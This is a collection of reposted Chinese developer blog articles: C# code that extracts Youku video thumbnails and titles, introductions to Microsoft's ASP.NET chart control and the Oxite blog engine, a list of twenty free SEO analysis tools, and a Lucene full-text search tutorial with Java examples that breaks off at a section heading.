[C#]获得youku视频截图和地址

mikel阅读(993)

实现方式如下

youku的站外引用提供了如下地址

image

http://player.youku.com/player.php/sid/XNTg0NDExMzI=/v.swf

其中XNTg0NDExMzI=这个部分可以看做是视频的ID

而每次视频播放时v.swf通过以下网址获取视频信息

http://v.youku.com/player/getPlayList/VideoIDS/视频的ID/version/5/source/out?onData=%5Btype%20Function%5D&n=3

这个个网址返回的是一段json,类似

{"data":[{"tt":"0","ct":"a","cs":"2143","logo":"http:\/\/vimg12.youku.com\/1100641F46493E8D0B3EFF0048E76B57CA9FBD-CEC7-7777-3402-EC9732C9950B","seed":5484,"tags":["\u7f8e\u56fd","\u98df\u54c1"],"categories":"91","streamsizes":{"flv":"3111068"},"streamfileids":{"flv":"19*67*19*19*2*42*19*16*19*19*42*61*47*44*32*46*19*5*42*42*46*61*19*19*42*32*44*50*2*5*42*37*61*30*16*16*37*23*26*37*61*30*37*26*23*44*16*16*26*5*16*47*46*26*30*50*19*16*44*44*12*37*46*47*12*46*"},"videoid":"14610283","segs":{"flv":[{"no":0,"size":"3111068","seconds":"90.00"}]},"fileid":"19*67*19*19*2*42*19*16*19*19*42*61*47*44*32*46*19*5*42*42*46*61*19*19*42*32*44*50*2*5*42*37*61*30*16*16*37*23*26*37*61*30*37*26*23*44*16*16*26*5*16*47*46*26*30*50*19*16*44*44*12*37*46*47*12*46*","username":"dongdong19850912","userid":"4777835","title":"\u591a\u79cd\u7f8e\u56fd\u8f93\u534e\u98df\u54c1\u88ab\u68c0\u51fa\u8d28\u91cf\u95ee\u9898","key1":"bd7ed04d","key2":"3fd76e2fd48efb01","seconds":"90.00","streamtypes":["flv"]}],"user":{"id":0}}

其中的Title自然就是标题,logo就是视频的截图

 

这里可以用json.net来反序列化获取,但我这里是使用的正则来提取的

		static public string[] GetMediaPic(string url) {
if (url.ToLower().StartsWith("http://player.youku.com/player.php/sid/")) {//判断是否为youku视频
return getPicYouKu(url);
} else {
return new string[0];
}
}
static string[] getPicYouKu(string url) {
string id = url.Replace(@"http://player.youku.com/player.php/sid/","").Replace(@"/v.swf","");
string newurl = string.Format(
@"http://v.youku.com/player/getPlayList/VideoIDS/{0}/version/5/source/out?onData=%5Btype%20Function%5D&n=3"
, id);
var hp = new HttpProc(newurl);//这个类见下方网址
var html = hp.Proc().Replace(@"\/", "/");//通过get方式获取信息
var re = new Regex("(http://[^\"]+)[\\w\\W]+\"title\":\"([^\"]+)\"");//与此同时提取截图和标题
var m = re.Match(html);
if (m.Success) {
var ret = new string[2];
ret[0] = m.Groups[1].Value;//0是url
ret[1] = UnicodeToChinese(m.Groups[2].Value);//1是title,要从unicode转为汉字
return ret;
} else
return new string[0];//如果没有就返回空数组     
}
                /// <summary>
/// unicode转汉字
/// </summary>
/// <param name="str"></param>
/// <returns></returns>
static public string UnicodeToChinese(string str) {
return ConvertTo(str, "unicode");
}
static string ConvertTo(string str, string encode) {
StringBuilder tmpStr = new StringBuilder();
for (int i = 0; i < str.Length; i++) {
if (str[i] == '\\' && str[i + 1] == 'u') {
string s1 = str.Substring(i + 2, 2);
string s2 = str.Substring(i + 4, 2);
int t1 = Convert.ToInt32(s1, 16);
int t2 = Convert.ToInt32(s2, 16);
byte[] array = new byte[2];
array[0] = (byte)t2;
array[1] = (byte)t1;
string s = System.Text.Encoding.GetEncoding(encode).GetString(array);
tmpStr.Append(s);
i = i + 5;
} else { tmpStr.Append(str[i]); }
}
return tmpStr.ToString();
}

HttpProc可参见:http://www.51aspx.com/CV/CHSNS122,UserWebService,ChAlumna,Reqres.cs.html

 

如无外最后返回数组即为[0]存标题,[1]存截图地址

 

var x=GetMediaPic("http://player.youku.com/player.php/sid/XNTg0NDExMzI=/v.swf");
if(x.Length==0){
        //不是youku或无法获取
}else{
Title=x[0];
Url=x[1];
}

[C#]Asp.net图表控件

mikel阅读(1036)

是的,我们现在可以使用<asp:chart runat="server"/>了,相关文章及下载: 

  • 下载免费的微软图表控件
  • 下载VS 2008对图表控件的工具支持
  • 下载微软图表控件例程
  • 下载微软图表控件文档
  • 访问微软图表控件论坛
  • 新的ASP.NET图表控件发布了译文

     

    首先,必须是vs2008,.net3.5sp1,以下引用译文:

    <asp:chart /> 支持各种丰富的图表选项,包括pie(饼图), area(区域), range(范围), point(点), circular(圆形), accumulation(累积), data distribution(数据分布), ajax interactive(AJAX交互), doughnut(甜圈图)等等。你可以在控件的声明中静态地声明图表数据,或者也可以使用数据绑定动态地填充。在运行时,该服务器控件会生成一个图片 (譬如一个.PNG文件),是使用<asp:chart/>控件输出的<img/>元素在页面的客户端HTML中引用的。该服务 器控件支持缓存图表图片的功能,还支持保存到硬盘上以在持久性场景中使用的功能。它不要求安装其他的服务器软件,可以用于任何标准的ASP.NET网页 上。

    想体会一下如何使用 <asp:chart />控件的话,我建议下载微软图表控件样程项目。该项目包括了200多个可以在本地运行的ASP.NET样例网页。只要在VS 2008中打开web项目,点击“运行”就可以看到它们的实际显示,然后你可以打开每个例子的.aspx源码看是怎么实现的。

    此控件安装以后就像正常的ASP.NET服务端控件一样调试使用,如果在服务器上发布不成功,请把本机中

    System.Web.DataVisualization.xml
    System.Web.DataVisualization.Design.dll
    System.Web.DataVisualization.dll

    复制到服务器的网站根目录的BIN目录下,如果是第一次运行请在网站根目录下新建一个tempImages来生成临时图片并给予足够的权限。

    由于没有找到像ajaxtoolkit那样的官方在线文档和例子,没有时间下载文档样例的朋友可以访问我刚上传的在线文档:

    http://dotnetchart.omgsoft.com.cn/

    依次点开左边的树形目录就可以欣赏它所能实现的效果了,并配有C#和VB代码,和HTML代码(如果需要的话)。

     

     简单看了一下效果和代码,如果你用过ZenGraph控件,就会对代码实现部分感到熟悉,但是这款控件更是超越了ZenGraph,比如强大的 3D效果,让我们不必再羡慕某收费的商业软件,还有tooltip效果(还可以在tooltip中显示子图表!),甚至点击图片的数据时也可以自定义实现 (是通过img的<map><area ../>来实现的),在这之前,复杂的图表我用开源的ZenGraph,简单的我用google chart,但是像flash图表那样的效果在web中一直无法企及。然而这一切都过去了,更多的功能等待发现,更优秀的网站等待创建,你还在等什么呢?

     对了,当然是免费的。

    希望本文能对您有所帮助

    祝编程愉快

    ———————————————————–

     

     

    虽然博客园已有人介绍过了,还是忍不住介绍一下微软这套免费又功能强大的图表控件「Microsoft Chart Controls for Microsoft .NET Framework 3.5」。本帖并提供相关软件、文件、官方示例的下载点。
    微软在收购了 Dundas 这家优秀的图表组件公司后,日前释出了功能相当强大,而且完全免费的图表组件,名为「Microsoft Chart Controls for Microsoft .NET Framework 3.5」。
    过去要在 ASP.NET 或 Windows Form 中绘制图表,可能要花钱买其它公司的组件,或用微软的绘图函式库自己撰码处理。但现在透过组件,以及微软提供免费下载的上百个现成范例 (包装成单一个 project)、免费的技术文件,可让您的项目及报表,轻松套用各种功能强大的 2D、3D、实时变化的动态图表;且透过 AJAX,可让图表及里面的数据,每秒钟都持续更新使用者透过浏览器,可和图表做各种互动设定。
    此图表组件,可套用于 ASP.NET 和 Windows Forms 程序,并可让程序开发人员完全依项目需求做客制化。但这套组件只能在新一代的 .NET 3.5 SP1 / VS 2008 SP1 中使用您只要下载本帖下方第五个连结的官方示例后,直接用 VS 2008 开启网站,即可看到现成的炫丽图表示例。
    此新一代的图表组件,已整合进 SQL Server 2008 新一代的 Reporting Services 报表软件中 [1]。
    (1) Microsoft Chart Controls for Microsoft .NET Framework 3.5 :
    http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=130f7986-bf49-4fe5-9ca8-910ae6ea442c
    包含 ASP.NET 和 Windows Forms 图表控件的核心安装程序
    (2) Microsoft Chart Controls for Microsoft .NET Framework 3.5 语言套件 :
    http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=581ff4e3-749f-4454-a5e3-de4c463143bd
    (3) Microsoft Chart Controls Add-on for Microsoft Visual Studio 2008 :
    http://www.microsoft.com/downloads/details.aspx?FamilyId=1D69CE13-E1E5-4315-825C-F14D33A303E9&displaylang=en
    安装后可与 VS 2008 有效地整合,并可在 VS 2008 工具箱中,支持 ASP.NET、Windows Forms 的 IntelliSense 功能
    (4) Microsoft Chart Controls for .NET Framework Documentation :
    http://www.microsoft.com/downloads/details.aspx?FamilyId=EE8F6F35-B087-4324-9DBA-6DD5E844FD9F&displaylang=en
    Chart controls 的 documentationAPI 英文文件 (chm 格式)
    (5) Samples Environment for Microsoft Chart Controls :
    http://code.msdn.microsoft.com/mschart
    提供超过 200 个示例,可用 VS 2008 直接开启网站后执行,务必下载玩看看
    (6) Windows Forms-ASP.NET Chart Control .NET Development MSDN Forums :
    http://social.msdn.microsoft.com/Forums/en-US/MSWinWebChart/threads/

    图 1 支持 3D 效果,并可和使用者做互动

    图 2 支持 AJAX 及 callbacks 编程及特效,图表及里面的数据可自动持续更新

    Chart controls 的其它特色:

    • 浏览器或报表中的图片,使用者可直接按鼠标右键存成图档
    • 使用者可在浏览器中,直接用鼠标做设定,要以何种格式 (3D 或 2D) 显示图表
    • 透过 AJAX 技术,使用者在图表中做各种点选或鼠标操作时,会动态出现相关提示、额外的数据或信息
    • 透过 AJAX 技术,可让图表及里面的数据,每秒钟都持续一直更新
    • 亦内建金融类及特定领域的图表,有现成的样板可直接套用在项目中

    ———————————-
    参考文件
    [1] MICROSOFT ACQUIRES DUNDAS TECHNOLOGY FOR SQL SERVER 2008 :
    http://www.dundas.com/Company/Media/PressSQL2008.aspx
    [2] 绘图的新利器 – Microsoft Chart Controls for .NET Framework 3.5 :
    http://www.dotblogs.com.tw/chhuang/archive/2008/10/26/5776.aspx
    [3] 介绍好用组件:Microsoft Chart Controls for .NET 3.5 :
    http://blog.miniasp.com/post/2008/10/Useful-aspnet-and-winform-charting-control-from-Microsoft.aspx

     

     

    转自:

    1.http://www.cnblogs.com/WizardWu/archive/2008/11/01/1324097.html

    2.http://www.cnblogs.com/fhmsha/archive/2008/11/26/new_asp_dot_net_chart_is_released.html

  • [MVC]oxite开源的blog项目基于MVC架构

    mikel阅读(773)

    什么是Oxite?

     

    你可能没有听过OXite,但你是否听过 Channel 9 、 Channel 8Channel 10TechNet EdgeMix Online,显然OXite就是这些网站的后台发动机。Mix Online,你就能在Mix首页看到对Oxite的导航。确切的说,Oxite是微软的开源博客内容管理系统,基于ASP .NET MVC架构,正如其团队在Codeplex上的阐述一样,Oxite是为了以下目标而生的:

    • 提供一个Blog范例,除了Blog的基本功能,你还可以了解到Trackback,rss,comment这些基本模块的实现,当然这些东西可以在其他开源项目中了解,但是Oxite至少提供了可以对比借鉴的可能:-)
    • 提供一个现实世界的MVC架构范例。

    如果你对MVC和Blog开源项目有十足的兴趣,不妨下载Oxite来了解一下Mix发动机的秘密,下面是如何开始的一点导航:

    还等什么,去下载Oxite来建立自己的博客内容管理系统,顺便学习学习基于MVC架构下的软件设计实现,这是多好的事儿啊。

    1
    0
    (请您对文章做出评价)

    [SEO]20个免费SEO工具

    mikel阅读(1242)

    在开发和维护网站的过程中,网站分析将对网站的前途起到非常重大的作用。今天暴风彬彬为大家收集了20个用来对自己的网站进行分析的资源或工具,而且它们几乎不用注册甚至下载就可以使用哦。有些可以说是SEO必不可少的工具!还等什么,快往下看…

      下面要介绍的这20个工具,有些能对你提交的网站进行详尽的分析并作出详细的分析报告,甚至提示如何解决网站存在的一些问题,以达到优化效果; 有些工具只是提供一个大体的分析。我相信其中大部分都会对你的SEO工作有所帮助,而且会是你的网站维护起来更有意思 😀 

    您还可以参考以下网站优化相关文章:
    通过27个网站分析工具了解网站的9个有趣真相》 
    浅谈网站用户体验UX与SEO的关系
    推荐两个SEO辅助搜索工具
    Google 评价 blog 的指标》 
    Google 网页排名背后的技术》 

    1.Website Grader

    SEO-工具-Website-Grader

      Website Grader是我平常比较喜欢使用SEO分析工具,因为它分析得很全面,可用性也很高。通 过Website Grader你将得到一个关于你提交的网站的非常详尽的分析报告,报告涉及到了网站的各个部分,比如页面结构、域名信息、标题摘要信息(h1,h2,h3 这些)、Google索引数量和bot最后爬行日期、RSS是否正确、Google/Yahoo/Alexa/MSN上的反向链接数、 Technorati排名、del.icio.us的收藏数、Alexa的排名情况和Google PageRank值。并且还会对提交的网站进行打分及网站出现的问题的修改建议。通常Website Grader所提出来的修改建议是很有价值的,而且能详细的致命问题出在哪,如何才能解决这样的问题。

    SEO-分析-工具-Website-Grader

     

    2.Trifecta

    SEO-分析工具-Trifecta

      Trifecta是这20个SEO工具中比较独特的一个,它以不同的标准分析一个网页、一个博客甚至一个顶级域名下的整个网站,他最终会为你提交的网站总结大致的分数及报告。如果不是会员的话每天可以申请一份分析报告。

    网站分析-工具-trifecta

    3.Spider Simulator

      这个分析工具会对你提交的网站进行相对于搜索引擎友好度的分析,并对提交的网站进行评分。主要的评分标准是Meta标签的使用、网页的标题、图片和Alt属性、网站响应时间和链接。

    SEO-分析工具-Spider Simulator


    4.Web Page Analyzer(来自WebsiteOptimization.com)

      这个SEO免费工具会对你的SEO工 作提供足够的分析信息。它将对提分析网站载入时间、包含的对象(Objects)、对象的大小等等,其中最有帮助的地方是“Analysis and Recommendations” (分析和建议)部分,它将为网站列出11个方面的评测及打分,其中红色为警告、黄色为提醒、绿色为很好。

    SEO-免费工具-WebPageAnalyzer


    5.SEO Analysis Tool

      SEO Analysis Tool这个SEO工具也能提供一个非常详尽的分析报告,它主要对网页的Meta标签、关键词和链接文本进行分析。这个工具对于网站的SEO工作可以说是非常好的资源。

    seo-工具


    6.The Escape’s Web Page Analyzer

      这个工具帮助你了解提交的网站的标题结构(h1~h6)、链接、关键词的使用和内容的问题。它并不像其它的工具那样为你提交的网站提供详细的分析报告,但是它提供的信息的帮助性和针对性要比其他SEO分析工具更好。

    SEO-工具-escapes


    7.Seed Keywords

      Seed keywords 提供一个 “plain English SEO review”来分析页面某些方面并给予建议,并提供关于这些元素为什么会影响页面SEO的基本说明。

    SEO-免费-工具-seedkey



    8.Web Page Analyzer(来自FreeWebSubmission.com)

      这个SEO工具可以全面的分析您提交的网站,如同其它工具一样,可以提供详细的分析报告。比如分析Meta标签并给予一定的指导性建议。这个工具在分析的时候也很看重网页的大小、读取时间以及在页面内容中关键词相关的链接、含关键词的Alt属性和关键词密度。

    SEO-工具-freewebsub


    9.Spider Test (来自We Build Pages)

      Spider Test 分析工具会快速简单的告诉你提交的网页是如何展现给搜索引擎的,它会显示出网页的描述、关键词、网页大小和网页中的文本等等…

    SEO-工具-spidertest


    10.Web Page Analyzer (来自 Webmaster Toolkit)

      Web Page AnalyzerSEO分析工具可以让你为搜索引擎提供一个URL和指定的短语,然后它会反馈给你一些关于如何为这个短语而优化网页的建议。

    SEO-工具-analyzertoolkit


    11.Link Appeal (来自 Webmaster Toolkit)

      你想知道一个网页(你的网站的或其它网站)是否有被其他网站链接的价值吗?输入URL,然后Link Appeal会基于一些评判因素给你提交的网页一个类似PageRank的分数和相关的外链数量。

    SEO-工具-linkappeal


    12.Full Page Test (来自Pingdom Tools)

      这个来自Pingdom网站的SEO免费工具可以分析网页的很多方面,包括读取时间,对象,CSS,RSS,转向链接等等…

    SEO-工具


    13.SearchEngine-Analysis.com

      输入一个URL和一个针对性的关键词或搜索短语,然后你会得到关于如何优化这个短语以在其它竞争者中领先。

    SEO-工具-seanalysis


    14.Web Page Speed Test (来自Self SEO)

      这个分析工具可以对你提交的网站列表进行对比,一次可以最多提交10个URL。

    SEO-工具


    15.Similar Page Checker

      帮助你检测输入的两个网址的内容的相似度,以避免由于内容重复而被搜索引擎处罚。如果它们非常相似,你可以进行适当的修改。转载文章的话,这个工具还是比较实用的。

    SEO-工具


    16.Dead-Links.com

      这个工具可以爬行你提交的整个网站,以寻找返回404错误页面的链接。检测的时间比较长。

    SEO-工具


    17.Firebug

      Firebug是Firefox的插件,它可以让你在浏览器中分析和调试自己网页中的HTML、CSS和JavaScript

    SEO-工具


    18.YSlow for Firebug

      另一个Firefox插件,它可以分析并为你提供提高网页加载速度的建议。这个工具集成了上面说的FireBug工具。

    SEO-工具


    19.Google Webmaster Tools

      这个工具太有名了,我就不做太多介绍了。

    SEO-工具


    20.Web CEO

      Web CEO是一套非常优质的SEO优化和分析工具,分为收费版和免费版。免费版可以帮助你根据它的建议去优化你的网站,比如关键词建议,网页优化建议,和检查网站的评分等…

    SEO-工具

    英文原文:20 Free Page Analysis Tools
    翻译原文:20个免费的SEO网站分析工具(暴风彬彬)

    [搜索引擎]Lucene:基于Java的全文检索引擎简介

    mikel阅读(671)

    Lucene:基于Java的全文检索引擎简介


    Lucene是一个基于Java的全文索引工具包。

    1. 基于Java的全文索引引擎Lucene简介:关于作者和Lucene的历史
    2. 全文检索的实现:Luene全文索引和数据库索引的比较
    3. 中文切分词机制简介:基于词库和自动切分词算法的比较
    4. 具体的安装和使用简介:系统结构介绍和演示
    5. Hacking Lucene:简化的查询分析器,删除的实现,定制的排序,应用接口的扩展
    6. 从Lucene我们还可以学到什么

    基于Java的全文索引/检索引擎——Lucene

    Lucene不是一个完整的全文索引应用,而是是一个用Java写的全文索引引擎工具包,它可以方便的嵌入到各种应用中实现针对应用的全文索引/检索功能。

    Lucene的作者:Lucene的贡献者Doug Cutting是 一位资深全文索引/检索专家,曾经是V-Twin搜索引擎(Apple的Copland操作系统的成就之一)的主要开发者,后在Excite担任高级系统 架构设计师,目前从事于一些INTERNET底层架构的研究。他贡献出的Lucene的目标是为各种中小型应用程序加入全文检索功能。

    Lucene的发展历程:早先发布在作者自己的www.lucene.com,后来发布在SourceForge,2001年年底成为APACHE基金会jakarta的一个子项目:http://jakarta.apache.org/lucene/

    已经有很多Java项目都使用了Lucene作为其后台的全文索引引擎,比较著名的有:

    • Jive:WEB论坛系统;
    • Eyebrows:邮件列表HTML归档/浏览/查询系统,本文的主要参考文档“TheLucene search engine: Powerful, flexible, and free”作者就是EyeBrows系统的主要开发者之一,而EyeBrows已经成为目前APACHE项目的主要邮件列表归档系统。
    • Cocoon:基于XML的web发布框架,全文检索部分使用了Lucene
    • Eclipse:基于Java的开放开发平台,帮助部分的全文索引使用了Lucene

    对于中文用户来说,最关心的问题是其是否支持中文的全文检索。但通过后面对于Lucene的结构的介绍,你会了解到由于Lucene良好架构设计,对中文的支持只需对其语言词法分析接口进行扩展就能实现对中文检索的支持。

    全文检索的实现机制

    Lucene的API接口设计的比较通用,输入输出结构都很像数据库的表==>记录==>字段,所以很多传统的应用的文件、数据库等都可以比较方便的映射到Lucene的存储结构/接口中。总体上看:可以先把Lucene当成一个支持全文索引的数据库系统

    比较一下Lucene和数据库:

    Lucene 数据库
    索引数据源:doc(field1,field2...) doc(field1,field2...)
    \  indexer /
    _____________
    | Lucene Index|
    --------------
    / searcher \
    结果输出:Hits(doc(field1,field2) doc(field1...))
     索引数据源:record(field1,field2...) record(field1..)
    \  SQL: insert/
    _____________
    | DB  Index   |
    -------------
    / SQL: select \
    结果输出:results(record(field1,field2..) record(field1...))
    Document:一个需要进行索引的“单元”
    一个Document由多个字段组成
    Record:记录,包含多个字段
    Field:字段 Field:字段
    Hits:查询结果集,由匹配的Document组成 RecordSet:查询结果集,由多个Record组成

    全文检索 ≠ like "%keyword%"

    通常比较厚的书籍后面常常附关键词索引表(比如:北京:12, 34页, 上海:3,77页……),它能够帮助读者比较快地找到相关内容的页码。而数据库索引能够大大提高查询的速度原理也是一样,想像一下通过书后面的索引查找的速度要比一页一页地翻内容高多少倍……而索引之所以效率高,另外一个原因是它是排好序的。对于检索系统来说核心是一个排序问题

    由于数据库索引不是为全文索引设计的,因此,使用like "%keyword%"时,数据库索引是不起作用的,在使用like查询时,搜索过程又变成类似于一页页翻书的遍历过程了,所以对于含有模糊查询的数据库服务来说,LIKE对性能的危害是极大的。如果是需要对多个关键词进行模糊匹配:like"%keyword1%" and like "%keyword2%" …其效率也就可想而知了。

    所以建立一个高效检索系统的关键是建立一个类似于科技索引一样的反向索引机制,将数据源(比如多篇文章)排序顺序存储的同时,有另外一个排好序的关 键词列表,用于存储关键词==>文章映射关系,利用这样的映射关系索引:[关键词==>出现关键词的文章编号,出现次数(甚至包括位置:起始 偏移量,结束偏移量),出现频率],检索过程就是把模糊查询变成多个可以利用索引的精确查询的逻辑组合的过程。从而大大提高了多关键词查询的效率,所以,全文检索问题归结到最后是一个排序问题。

    由此可以看出模糊查询相对数据库的精确查询是一个非常不确定的问题,这也是大部分数据库对全文检索支持有限的原因。Lucene最核心的特征是通过特殊的索引结构实现了传统数据库不擅长的全文索引机制,并提供了扩展接口,以方便针对不同应用的定制。

    可以通过一下表格对比一下数据库的模糊查询:

      Lucene全文索引引擎 数据库
    索引 将数据源中的数据都通过全文索引一一建立反向索引 对于LIKE查询来说,数据传统的索引是根本用不上的。数据需要逐个便利记录进行GREP式的模糊匹配,比有索引的搜索速度要有多个数量级的下降。
    匹配效果 通过词元(term)进行匹配,通过语言分析接口的实现,可以实现对中文等非英语的支持。 使用:like "%net%" 会把netherlands也匹配出来,
    多个关键词的模糊匹配:使用like "%com%net%":就不能匹配词序颠倒的xxx.net..xxx.com
    匹配度 有匹配度算法,将匹配程度(相似度)比较高的结果排在前面。 没有匹配程度的控制:比如有记录中net出现5词和出现1次的,结果是一样的。
    结果输出 通过特别的算法,将最匹配度最高的头100条结果输出,结果集是缓冲式的小批量读取的。 返回所有的结果集,在匹配条目非常多的时候(比如上万条)需要大量的内存存放这些临时结果集。
    可定制性 通过不同的语言分析接口实现,可以方便的定制出符合应用需要的索引规则(包括对中文的支持) 没有接口或接口复杂,无法定制
    结论 高负载的模糊查询应用,需要负责的模糊查询的规则,索引的资料量比较大 使用率低,模糊匹配规则简单或者需要模糊查询的资料量少

    全文检索和数据库应用最大的不同在于:让最相关的头100条结果满足98%以上用户的需求

    Lucene的创新之处:

    大部分的搜索(数据库)引擎都是用B树结构来维护索引,索引的更新会导致大量的IO操作,Lucene在实现中,对此稍微有所改进:不是维护一个索 引文件,而是在扩展索引的时候不断创建新的索引文件,然后定期的把这些新的小索引文件合并到原先的大索引中(针对不同的更新策略,批次的大小可以调整), 这样在不影响检索的效率的前提下,提高了索引的效率。

    Lucene和其他一些全文检索系统/应用的比较:

      Lucene 其他开源全文检索系统
    增量索引和批量索引 可以进行增量的索引(Append),可以对于大量数据进行批量索引,并且接口设计用于优化批量索引和小批量的增量索引。 很多系统只支持批量的索引,有时数据源有一点增加也需要重建索引。
    数据源 Lucene没有定义具体的数据源,而是一个文档的结构,因此可以非常灵活的适应各种应用(只要前端有合适的转换器把数据源转换成相应结构), 很多系统只针对网页,缺乏其他格式文档的灵活性。
    索引内容抓取 Lucene的文档是由多个字段组成的,甚至可以控制那些字段需要进行索引,那些字段不需要索引,近一步索引的字段也分为需要分词和不需要分词的类型:
       需要进行分词的索引,比如:标题,文章内容字段
       不需要进行分词的索引,比如:作者/日期字段
    缺乏通用性,往往将文档整个索引了
    语言分析 通过语言分析器的不同扩展实现:
    可以过滤掉不需要的词:an the of 等,
    西文语法分析:将jumps jumped jumper都归结成jump进行索引/检索
    非英文支持:对亚洲语言,阿拉伯语言的索引支持
    缺乏通用接口实现
    查询分析 通过查询分析接口的实现,可以定制自己的查询语法规则:
    比如: 多个关键词之间的 + – and or关系等
     
    并发访问 能够支持多用户的使用  

     

    关于亚洲语言的的切分词问题(Word Segment)

    对于中文来说,全文索引首先还要解决一个语言分析的问题,对于英文来说,语句中单词之间是天然通过空格分开的,但亚洲语言的中日韩文语句中的字是一个字挨一个,所有,首先要把语句中按“词”进行索引的话,这个词如何切分出来就是一个很大的问题。

    首先,肯定不能用单个字符作(si-gram)为索引单元,否则查“上海”时,不能让含有“海上”也匹配。

    但一句话:“北京天安门”,计算机如何按照中文的语言习惯进行切分呢?
    “北京 天安门” 还是“北 京 天安门”?让计算机能够按照语言习惯进行切分,往往需要机器有一个比较丰富的词库才能够比较准确的识别出语句中的单词。

    另外一个解决的办法是采用自动切分算法:将单词按照2元语法(bigram)方式切分出来,比如:
    "北京天安门" ==> "北京 京天 天安 安门"。

    这样,在查询的时候,无论是查询"北京" 还是查询"天安门",将查询词组按同样的规则进行切分:"北京","天安安门",多个关键词之间按与"and"的关系组合,同样能够正确地映射到相应的索引中。这种方式对于其他亚洲语言:韩文,日文都是通用的。

    基于自动切分的最大优点是没有词表维护成本,实现简单,缺点是索引效率低,但对于中小型应用来说,基于2元语法的切分还是够用的。基于2元切分后的索引一般大小和源文件差不多,而对于英文,索引文件一般只有原文件的30%-40%不同,

    自动切分 词表切分
    实现 实现非常简单 实现复杂
    查询 增加了查询分析的复杂程度, 适于实现比较复杂的查询语法规则
    存储效率 索引冗余大,索引几乎和原文一样大 索引效率高,为原文大小的30%左右
    维护成本 无词表维护成本 词表维护成本非常高:中日韩等语言需要分别维护。
    还需要包括词频统计等内容
    适用领域 嵌入式系统:运行环境资源有限
    分布式系统:无词表同步问题
    多语言环境:无词表维护成本
    对查询和存储效率要求高的专业搜索引擎

    目前比较大的搜索引擎的语言分析算法一般是基于以上2个机制的结合。关于中文的语言分析算法,大家可以在Google查关键词"wordsegment search"能找到更多相关的资料。

    安装和使用

    下载:http://jakarta.apache.org/lucene/

    注意:Lucene中的一些比较复杂的词法分析是用JavaCC生成的(JavaCC:JavaCompilerCompiler,纯Java的词法分析生成器),所以如果从源代码编译或需要修改其中的QueryParser、定制自己的词法分析器,还需要从https://javacc.dev.java.net/下载javacc。

    lucene的组成结构:对于外部应用来说索引模块(index)和检索模块(search)是主要的外部应用入口

    org.apache.Lucene.search/ 搜索入口
    org.apache.Lucene.index/ 索引入口
    org.apache.Lucene.analysis/ 语言分析器
    org.apache.Lucene.queryParser/ 查询分析器
    org.apache.Lucene.document/ 存储结构
    org.apache.Lucene.store/  底层IO/存储结构
    org.apache.Lucene.util/ 一些公用的数据结构

    简单的例子演示一下Lucene的使用方法:

    索引过程:从命令行读取文件名(多个),将文件分路径(path字段)和内容(body字段)2个字段进行存储,并对内容进行全文索引:索引的单位是 Document对象,每个Document对象包含多个字段Field对象,针对不同的字段属性和数据输出的需求,对字段还可以选择不同的索引/存储字 段规则,列表如下:

    方法 切词 索引 存储 用途
    Field.Text(String name, String value) Yes Yes Yes 切分词索引并存储,比如:标题,内容字段
    Field.Text(String name, Reader value) Yes Yes No 切分词索引不存储,比如:META信息,
    不用于返回显示,但需要进行检索内容
    Field.Keyword(String name, String value) No Yes Yes 不切分索引并存储,比如:日期字段
    Field.UnIndexed(String name, String value) No No Yes 不索引,只存储,比如:文件路径
    Field.UnStored(String name, String value) Yes Yes No 只全文索引,不存储
    public class IndexFiles {
    //使用方法:: IndexFiles [索引输出目录] [索引的文件列表] ...
    public static void main(String[] args) throws Exception {
    String indexPath = args[0];
    IndexWriter writer;
    //用指定的语言分析器构造一个新的写索引器(第3个参数表示是否为追加索引)
    writer = new IndexWriter(indexPath, new SimpleAnalyzer(), false);
    for (int i=1; i<args.length; i++) {
    System.out.println("Indexing file " + args[i]);
    InputStream is = new FileInputStream(args[i]);
    //构造包含2个字段Field的Document对象
    //一个是路径path字段,不索引,只存储
    //一个是内容body字段,进行全文索引,并存储
    Document doc = new Document();
    doc.add(Field.UnIndexed("path", args[i]));
    doc.add(Field.Text("body", (Reader) new InputStreamReader(is)));
    //将文档写入索引
    writer.addDocument(doc);
    is.close();
    };
    //关闭写索引器
    writer.close();
    }
    }
     

    索引过程中可以看到:

    • 语言分析器提供了抽象的接口,因此语言分析(Analyser)是可以定制的,虽然lucene缺省提供了2个比较通用的分析器 SimpleAnalyser和StandardAnalyser,这2个分析器缺省都不支持中文,所以要加入对中文语言的切分规则,需要修改这2个分析 器。
    • Lucene并没有规定数据源的格式,而只提供了一个通用的结构(Document对象)来接受索引的输入,因此输入的数据源可以是:数据库,WORD文档,PDF文档,HTML文档……只要能够设计相应的解析转换器将数据源构造成成Docuement对象即可进行索引。
    • 对于大批量的数据索引,还可以通过调整IndexerWrite的文件合并频率属性(mergeFactor)来提高批量索引的效率。

    检索过程和结果显示:

    搜索结果返回的是Hits对象,可以通过它再访问Document==>Field中的内容。

    假设根据body字段进行全文检索,可以将查询结果的path字段和相应查询的匹配度(score)打印出来,

    public class Search {
    public static void main(String[] args) throws Exception {
    String indexPath = args[0], queryString = args[1];
    //指向索引目录的搜索器
    Searcher searcher = new IndexSearcher(indexPath);
    //查询解析器:使用和索引同样的语言分析器
    Query query = QueryParser.parse(queryString, "body",
    new SimpleAnalyzer());
    //搜索结果使用Hits存储
    Hits hits = searcher.search(query);
    //通过hits可以访问到相应字段的数据和查询的匹配度
    for (int i=0; i<hits.length(); i++) {
    System.out.println(hits.doc(i).get("path") + "; Score: " +
    hits.score(i));
    };
    }
    }

    在整个检索过程中,语言分析器,查询分析器,甚至搜索器(Searcher)都是提供了抽象的接口,可以根据需要进行定制。

    Hacking Lucene

    简化的查询分析器

    个人感觉lucene成为JAKARTA项目后,画在了太多的时间用于调试日趋复杂QueryParser,而其中大部分是大多数用户并不很熟悉的,目前LUCENE支持的语法:

    Query ::= ( Clause )*
    Clause ::= ["+", "-"] [<TERM> ":"] ( <TERM> | "(" Query ")")

    中间的逻辑包括:and or + – &&||等符号,而且还有"短语查询"和针对西文的前缀/模糊查询等,个人感觉对于一般应用来说,这些功能有一些华而不实,其实能够实现 目前类似于Google的查询语句分析功能其实对于大多数用户来说已经够了。所以,Lucene早期版本的QueryParser仍是比较好的选择。

    添加修改删除指定记录(Document)

    Lucene提供了索引的扩展机制,因此索引的动态扩展应该是没有问题的,而指定记录的修改也似乎只能通过记录的删除,然后重新加入实现。如何删除 指定的记录呢?删除的方法也很简单,只是需要在索引时根据数据源中的记录ID专门另建索引,然后利用 IndexReader.delete(Termterm)方法通过这个记录ID删除相应的Document。

    根据某个字段值的排序功能

